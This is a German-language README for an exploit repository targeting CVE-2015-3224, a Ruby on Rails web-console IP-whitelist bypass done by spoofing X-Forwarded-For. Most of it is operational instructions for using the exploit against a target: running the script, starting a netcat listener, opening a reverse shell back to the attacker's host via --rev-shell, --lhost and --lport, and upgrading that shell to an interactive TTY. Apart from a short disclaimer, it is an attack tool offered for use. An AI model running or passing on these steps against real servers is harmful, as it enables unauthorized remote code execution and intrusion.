
Ruby on Rails Web Console Exploit (CVE-2015-3224)
Dieses Repository enthält ein Python-Skript, um eine IP-Whitelist-Umgehungs-Schwachstelle in der Entwickler-Webkonsole von Ruby on Rails 4.0.x und 4.1.x auszunutzen. Das Skript ermöglicht das Ausführen von entferntem Code auf anfälligen Servern.
⚠️ Haftungsausschluss Dieses Skript ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bestimmt. Verwenden Sie es nicht auf einem System ohne ausdrückliche Erlaubnis. Die Autoren sind nicht verantwortlich für jeglichen Missbrauch oder Schäden, die durch dieses Skript verursacht werden.
Die Webkonsole in anfälligen Versionen von Ruby on Rails ist für Entwicklungszwecke gedacht und sollte nur von vertrauenswürdigen IP-Adressen aus zugänglich sein. Aufgrund einer fehlerhaften Behandlung des X-Forwarded-For-HTTP-Headers kann ein Angreifer jedoch seine IP-Adresse fälschen, um als vertrauenswürdiger lokaler Benutzer zu erscheinen (z. B. 127.0.0.1 oder ::1). Dies umgeht die IP-Whitelist und gewährt unbefugten Zugriff auf die Webkonsole, was zu entfernter Codeausführung führt.
requests-BibliothekInstallieren Sie requests:
pip install requests
Das Repository klonen:
git clone https://github.com/Sic4rio/CVE-2015-3224
cd <repo-verzeichnis>
Das Skript ausführbar machen:
chmod +x exploit.py
Dieser Modus eignet sich zum Ausführen schneller, einfacher Befehle.
./exploit.py -t http://<ZIEL-IP>:<PORT>
Dies ist der empfohlene Modus für eine stabile, vollständig interaktive Shell.
Öffnen Sie auf Ihrem lokalen Rechner ein neues Terminal und starten Sie einen netcat-Listener.
nc -lvnp 9001
Führen Sie in einem anderen Terminal das Skript mit dem Flag --rev-shell aus und geben Sie Ihre lokale IP (lhost) und Ihren Port (lport) an.
./exploit.py -t http://<ZIEL-IP>:<PORT> --rev-shell --lhost <IHRE_IP> --lport 9001
Eine Verbindung wird bei Ihrem netcat-Listener eingehen. Um sie zu einer vollständig interaktiven TTY aufzuwerten, führen Sie im netcat-Fenster die folgenden Schritte aus:
Strg+Z drücken.stty raw -echo; fg
Eingabetaste, wenn die Eingabeaufforderung nicht wieder erscheint.reset
export SHELL=bash
export TERM=xterm-256color
stty rows 50 cols 120
Sie haben jetzt eine voll funktionsfähige und stabile Shell!